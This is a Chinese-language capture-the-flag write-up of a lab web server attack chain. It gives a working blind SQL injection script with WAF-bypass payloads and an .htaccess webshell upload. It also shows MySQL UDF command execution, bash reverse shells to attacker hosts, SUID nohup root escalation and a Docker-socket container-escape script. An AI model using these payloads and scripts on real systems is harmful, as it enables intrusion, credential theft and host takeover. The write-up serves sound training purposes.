这个靶机整体架构跟 Web2 差不多——Docker 容器化部署、Apache+PHP+MySQL 三件套——但 WAF 规则完全不一样,极其刁钻。这篇文章完整记录从信息收集到拿下三个 flag 的全过程,重点讲讲 WAF 绕过的过程。

靶机 IP 是 172.16.11.28,我的 Kali 是 172.16.11.146,另外还有一台 172.16.11.124 的 Kali 用来接反弹 Shell。


信息收集找到靶机

靶机跑在 Proxmox 上,从管理界面看到 MAC 地址是 BC:24:11:51:E5:B7。直接 nmap 扫一下网段:

nmap -sn 172.16.11.0/24

在结果里根据 MAC 地址找到 target-b-mirror.lan (172.16.11.28),确认目标。

端口扫描

nmap -sT -sV -p- 172.16.11.28

开了四个端口:22(OpenSSH 9.2p1)、80(Apache 2.4.54)、3306(MySQL 5.7.44)、5355(LLMNR)。跟 Web2 原版几乎一样,多了个 5355 无关紧要。重点还是80和 3306。

访问 80 端口,是个登录页面,标题镜像科技。下面有个"浏览商品"的链接,点进去是 /products.php,列了几个安全产品,点不了,我的判断是没什么用,我也没看到注入点。

敏感文件探测

既然知道是 Apache+PHP,直接针对性地探测一波:

结果里有两个关键发现:.index.php.swp 返回 200,说明有 Vim 交换文件泄露;upload.php 返回 302,说明有文件上传功能但需要登录。

关于 .swp 文件多说一句:Vim 编辑文件时会自动创建 .文件名.swp 的临时文件用于崩溃恢复。如果编辑过程中 SSH 断开或者服务器断电,这个文件就会残留。Apache 不认识 .swp 后缀,会直接当静态文件返回,攻击者就能下载并恢复出完整源码。

恢复源码

curl -s "http://172.16.11.28/.index.php.swp" -o /tmp/index.php.swp
strings /tmp/index.php.swp

从恢复的代码里看到了几个关键信息。

SQL 查询直接拼接字符串,没用参数化查询:

$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

WAF 被拆到了单独的 waf.php 里:

$username = waf_filter($_POST['username']);
$password = waf_filter($_POST['password']);

Session 赋值暴露了表结构——users 表至少有 id、username、password、role 四个字段:

$_SESSION['user'] = $user['username'];
$_SESSION['role'] = $user['role'];
$_SESSION['user_id'] = $user['id'];

而且登录成功后 admin 用户会跳转到 /upload.php,普通用户跳转到/products.php,所以判断逻辑是基于 role 字段的。可惜 waf.php 没有对应的 .swp 泄露,也没有 .bak 备份,只能黑箱测试了。


WAF

这一章是整个渗透里花时间最多的部分。Web2 原版的 WAF 可以用双写绕过(比如 selselectect),但这台靶机的 WAF 完全不一样,试了很多种方式才找到突破口。

先试了 Web2 的经典反斜杠注入:

curl -s -X POST "http://172.16.11.28/" \
  -d 'login=1&username=admin\&password= or 1=1-- '

直接返回"哦欧",没用。

(真的是哦欧)

然后挨个试各种变体,结果非常有意思——六个测试只有三个返回了"哦欧",另外三个连"哦欧"都没有,返回了 0 字节的空响应:

# 返回"哦欧"(请求到达后端,但注入没成功)
admin\  +  or 1=1       → 哦欧
admin'  +  or 1=1       → 哦欧
\       +  or 1=1       → 哦欧

# 返回空(被 WAF 直接拦截了)
admin\  +  oorr 1=1     → 空
admin\  +  Or 1=1       → 空
admin\  +  || 1=1       → 空

这说明 WAF 有两种处理方式:对 or(纯小写)是静默删除(删掉后让请求继续执行),对双写 oorr、大小写 Or、管道符 || 是直接拦截(返回空响应)。

手动注入可能不行,我将使用SQLmap进行自动注入,我们可以发现使用。

第一轮sqlmap注入可以拿到库名,表名

但是列名无法被解出,之后就不行了,应该是WAF 拦截了 information_schema 查询

但是sqlmap 成功检测到了注入点,用的是 /**/ 替代空格 + 随机大小写的组合。这给了我思路。

手动验证:

成功了payload 格式就是 -1'/**/oR/**/条件/**/#

这个靶机的 WAF 比 Web2 更强,经过我的测试,确认了以下过滤规则:

被过滤的关键字: password(小写精确匹配)、or(小写)、and(小写)、||、&&、双写变体(如 oorr)、反引号包裹的 password

未被过滤的: 大小写混合(oR、aNd、pAsSwOrD)、/**/ 注释替代空格、# 注释符、oRd()、mId() 函数

关键区别在于:Web2 的 WAF 用递归替换(可以双写绕过),而这个靶机的 WAF 对某些关键字做了大小写不敏感匹配(如 or),但对 password 只做了小写精确匹配。

三个核心绕过技巧

1. /**/ 替代空格

WAF 很可能对含空格的关键字组合做了检测(如 or 1=1)。MySQL 的块注释 /**/ 在语法上等价于空格,但 WAF 的关键字匹配不会识别 oR/**/1=1 为注入。

2. 大小写混合(oRaNdpAsSwOrD

MySQL 的关键字和列名不区分大小写,所以 oROR 在 SQL 层完全等价。但这个 WAF 对 or/and 做了大小写不敏感检测,对 password 却只做了小写精确匹配。所以 oR 被拦、pAsSwOrD 能过——这说明 WAF 的规则不统一,给了我们可乘之机。

3. 直接引用列名,不用子查询

前几版脚本失败是因为子查询中的 SELECT/FROM 被过滤了。解决方法很巧妙:我们本来就在查 users 表(SELECT * FROM users WHERE ...),所以可以直接在 WHERE 中引用 password 列——oR username='admin' aNd oRd(mId(pAsSwOrD,1,1))>=102。完全不需要嵌套 SELECT。

写脚本提 flag1

确认了所有绕过方式后,写 Python 脚本进行布尔盲注。

#!/usr/bin/env python3
"""
Boolean-based Blind SQL Injection - mirror_shop target
Bypass: use pAsSwOrD instead of password (WAF filters lowercase)
"""
import requests
import sys
URL = 'http://172.16.11.28/'
def test_bool(condition):
    payload = f"-1'/**/oR/**/{condition}/**/#"
    body = f"login=1&username={requests.utils.quote(payload)}&password=test"
    try:
        resp = requests.post(URL, data=body, timeout=5, allow_redirects=False,
                           headers={'Content-Type': 'application/x-www-form-urlencoded'})
        return resp.status_code == 302
    except:
        return False
def get_length(target_user):
    low, high = 1, 100
    while low <= high:
        mid = (low + high) // 2
        cond = f"username='{target_user}'/**/aNd/**/length(pAsSwOrD)>={mid}"
        if test_bool(cond):
            low = mid + 1
        else:
            high = mid - 1
    return high
def get_char(target_user, pos):
    low, high = 32, 126
    while low <= high:
        mid = (low + high) // 2
        cond = f"username='{target_user}'/**/aNd/**/oRd(mId(pAsSwOrD,{pos},1))>={mid}"
        if test_bool(cond):
            low = mid + 1
        else:
            high = mid - 1
    return chr(high) if high >= 32 else '?'
if __name__ == '__main__':
    print("[*] Testing injection...")
    if test_bool("1=1"):
        print("[+] TRUE works (302)")
    else:
        print("[-] TRUE failed!")
        sys.exit(1)
    if not test_bool("1=2"):
        print("[+] FALSE works (200)")
    else:
        print("[-] FALSE failed!")
        sys.exit(1)
    print("[+] Injection confirmed!\n")
    # Verify pAsSwOrD bypass works
    print("[*] Testing pAsSwOrD bypass...")
    if test_bool("username='admin'/**/aNd/**/length(pAsSwOrD)>=1"):
        print("[+] pAsSwOrD bypass works!\n")
    else:
        print("[-] pAsSwOrD bypass failed!")
        sys.exit(1)
    target = 'admin'
    print(f"[*] Getting password length for '{target}'...")
    length = get_length(target)
    print(f"[+] Password length: {length}")
    if length <= 0:
        print("[-] Length is 0!")
        sys.exit(1)
    print(f"[*] Extracting password ({length} chars)...")
    result = ''
    for pos in range(1, length + 1):
        ch = get_char(target, pos)
        result += ch
        sys.stdout.write(f"\r[+] Progress: {result}")
        sys.stdout.flush()
    print(f"\n\n[+] RESULT: {target} password = {result}")
                                                             

运行结果:

flag1{d4e7a2c9f185b3064c9d8e1f72b5a6d3}

(或者也可以跳过脚本提取密码,绕过登录即可,在后面我们会上到mysql的容器,可以直接进行查看)

拿到密码后可以直接登录。也可以用注入绕过,用户名填 -1'/**/oR/**/username='admin'/**/#,密码随便填。SQL 变成:

SELECT * FROM users WHERE username='-1' OR username='admin' #' AND password='xxx'

后面全被注释,只要 admin 用户存在就能登录。


文件上传拿 Webshell

登录后台进入 upload.php,是个文件管理页面。

直接传 PHP 文件肯定不行,用 .htaccess 绕过。思路是先传一个 .htaccess 文件修改解析规则,再传一个 .png 后缀的 PHP 木马。

.htaccess 内容:SetHandler application/x-httpd-php

这段配置让 Apache 把所有 .png 文件交给 PHP 处理器执行。上传成功后,再传一个经过混淆的一句话木马,文件名用 .png 后缀。

上传完成后用蚁剑连接 http://172.16.11.28/uploads/wen.png,成功拿到 Web 容器的命令执行权限。

为什么 .htaccess 能让 PNG 执行 PHP?因为 Apache 在处理每个请求时都会检查目标目录下有没有 .htaccess 文件。如果有,就按其中的规则来处理。SetHandler application/x-httpd-php 告诉 Apache 把匹配的文件交给 PHP 模块,PHP 模块不管文件扩展名是什么,只要内容是有效的 PHP 代码就执行。

环境信息收集

拿到 Shell 后 env 一下,在环境变量里直接看到了 MySQL 的连接信息:

HOSTNAME 是随机字符串,确认在 Docker 容器里。MySQL 用的是 root 用户,这就为后面的 UDF 提权创造了条件。

db_connect.php 也确认了这些信息:


MySQL UDF 提权 + 反弹 Shell

现在我在 Web 容器里,权限是 www-data,很受限。但手里有 MySQL root 密码,而且 3306 端口对外开放。思路是通过 UDF 在 MySQL 容器里获取命令执行能力。

UDF 的原理简单说就是:MySQL 允许通过 .so 共享库添加自定义函数。如果能把一个包含 sys_eval 函数的恶意 .so 文件写到 MySQL 的 plugin 目录里,然后用 CREATE FUNCTION 注册,就能在 SQL 里直接执行系统命令。

前提条件有三个:MySQL 高权限用户(有 FILE 权限)、secure_file_priv 为空或指向 plugin 目录、plugin 目录可写。这三个条件在本靶机都满足。

mysql -h 172.16.11.28 -u root -p'Kp7mXz2wRn9sLqDf' --skip-ssl \
  -e "SELECT user(); SHOW GRANTS FOR current_user(); SHOW VARIABLES LIKE 'plugin_dir'; SELECT @@secure_file_priv; SELECT @@version;"

SHOW GRANTS FOR current_user() 可以看到 root 用户

SHOW VARIABLES LIKE 'plugin_dir' 拿到plugin_dir 路径

SELECT @@secure_file_priv 去看secure_file_priv 是否为空

SELECT @@version;" 查看MySQL 版本(决定用 32 位还是 64 位的.so文件),就可以确认 UDF 提权可行了。

操作过程比较套路化:

# 清理旧函数
mysql -h 172.16.11.28 -u root -p'Kp7mXz2wRn9sLqDf' --skip-ssl \
  -e "DROP FUNCTION IF EXISTS sys_exec; DROP FUNCTION IF EXISTS sys_eval;"

# 解密 sqlmap 自带的 UDF 库
python3 /usr/share/sqlmap/extra/cloak/cloak.py -d \
  -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ \
  -o /tmp/lib_mysqludf_sys_64.so

# 转十六进制
xxd -p /tmp/lib_mysqludf_sys_64.so | tr -d '\n' > /tmp/udf64_hex.txt
UDF_HEX=$(cat /tmp/udf64_hex.txt)

# 写入 plugin 目录
mysql -h 172.16.11.28 -u root -p'Kp7mXz2wRn9sLqDf' --skip-ssl \
  -e "SELECT UNHEX('$UDF_HEX') INTO DUMPFILE '/usr/lib64/mysql/plugin/udf_final.so';"

# 注册 sys_eval 函数(有回显,比 sys_exec 好用)
mysql -h 172.16.11.28 -u root -p'Kp7mXz2wRn9sLqDf' --skip-ssl \
  -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf_final.so';"

#验证
mysql -h 172.16.11.28 -u root -p'Kp7mXz2wRn9sLqDf' --skip-ssl \
  -e "SELECT sys_eval('id');"
#输出: uid=999(mysql) gid=999(mysql) groups=999(mysql)

这里说一下 sys_eval 和 sys_exec 的区别:sys_exec 只返回退出码(0 或 1),要看命令输出得先写文件再读;sys_eval 直接返回命令的标准输出,方便很多。推荐优先用 sys_eval。

接下来反弹 Shell 到 Kali:

#Kali 上监听
nc -lvnp 4444

#UDF 反弹
mysql -h 172.16.11.28 -u root -p'Kp7mXz2wRn9sLqDf' --skip-ssl \
  -e "SELECT sys_eval('bash -c \"bash -i >& /dev/tcp/172.16.11.146/4444 0>&1\"');"

成功拿到 MySQL 容器的交互式 Shell。


读取 Flag2

进入 MySQL 容器后,先看看有什么:find / -perm -u=s -type f 2>/dev/null

发现有/usr/bin/nohup

正常情况下,nohup 命令不应该具有 SUID 权限。nohup 的功能是让命令在用户退出终端后继续运行,这个功能不需要 root 权限。

如果 nohup 具有 SUID 权限,意味着:

  • 任何用户都可以通过 nohup 以 root 权限执行命令
  • 这是一个严重的安全配置错误

权限不够。但是可以直接/usr/bin/nohup /bin/bash -p 来直接拿到root并且维持权限

euid=0 说明当前进程的有效用户 ID 已经是 root 了。这意味着容器里存在某个 SUID 程序被利用了。Linux 进程有 uid(实际用户)和 euid(有效用户)两个概念,权限检查看的是 euid。SUID 程序执行时 euid 会变成文件所有者(通常是 root),所以虽然我们的 uid 还是 999,但 euid=0 已经有 root 权限了。

直接再试一次 cat /flag

cat /flag
# flag2{8f3c1b7e2d964a05e7b9d4c6f1a83e52}

flag2{8f3c1b7e2d964a05e7b9d4c6f1a83e52}


Docker 逃逸拿 Flag3

先看看有没有 Docker Socket:

Docker Socket 暴露在容器里,这是个经典的错误配置。Docker Daemon 以 root 权限运行,而且 API 默认无认证。一旦能访问 /var/run/docker.sock,就等于拿到了宿主机的 root 权限。

逃逸思路:通过 Docker API 创建一个新容器,把宿主机的根目录 / 挂载到新容器的 /host,然后 chroot /host 切换到宿主机环境,反弹一个宿主机的 Shell。

写入逃逸脚本escape.py

import socket, json

cmd = "chroot /host bash -c \"bash -i >& /dev/tcp/172.16.11.124/12345 0>&1\""

def sock(url, data=""):
    s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
    s.connect("/var/run/docker.sock")
    req = "POST " + url + " HTTP/1.1\r\nHost: localhost\r\nContent-Type: application/json\r\nContent-Length: " + str(len(data)) + "\r\n\r\n" + data
    s.send(req.encode())
    return s.recv(4096).decode()

payload = json.dumps({
    "Image": "mysql:5.7",
    "Cmd": ["/bin/sh", "-c", cmd],
    "HostConfig": {"Binds": ["/:/host"], "Privileged": True}
})

resp = sock("/containers/create", payload)
print("Create response: " + resp)

if '"Id":"' in resp:
    cid = resp.split('"Id":"')[1].split('"')[0]
    print("Container ID: " + cid)
    r2 = sock("/containers/" + cid + "/start")
    print("Start response: " + r2)
else:
    print("Failed to create container!")

这个脚本做的事情很简单:通过 Unix Socket 向 Docker API 发送 HTTP 请求,创建一个基于 mysql:5.7 镜像的新容器,配置里 "Binds": ["/:/host"] 把宿主机根目录挂载进去,"Privileged": True 开启特权模式,启动命令是 chroot /host 后反弹 Shell。

在另一台 Kali(172.16.11.124)上开监听,然后在 MySQL 容器里执行:

nc -lvnp 12345        # Kali 端
python3 /tmp/escape.py # 容器端

收到宿主机的 root Shell:

flag3{c2d5e8f1a3b76049d8e1c4b7f2a95d63}


总结

这台靶机跟 Web2 原版最大的区别就是 WAF。Web2 用的是递归替换,双写就能绕,这个是关键字拦截 + 静默删除的混合模式,而且不同关键字的大小写检测策略不一致。这种不一致性反而成了攻击者的突破口——如果 WAF 要做关键字过滤,至少得统一用大小写不敏感匹配,或者更好的做法是直接用参数化查询从根本上消灭注入。

另外 Docker Socket 挂载到容器这个问题在实际环境中也不少见,特别是 CI/CD 场景(Jenkins、GitLab Runner)和容器管理工具(Portainer)。Docker 官方文档明确说了:给容器访问 Docker Socket 就等于给宿主机 root 权限。正确的做法是用 rootless Docker、Kaniko 这类无 daemon 的构建工具,或者至少用 docker-socket-proxy 限制 API 访问范围。

此作者没有提供个人介绍。
最后更新于 2026-03-30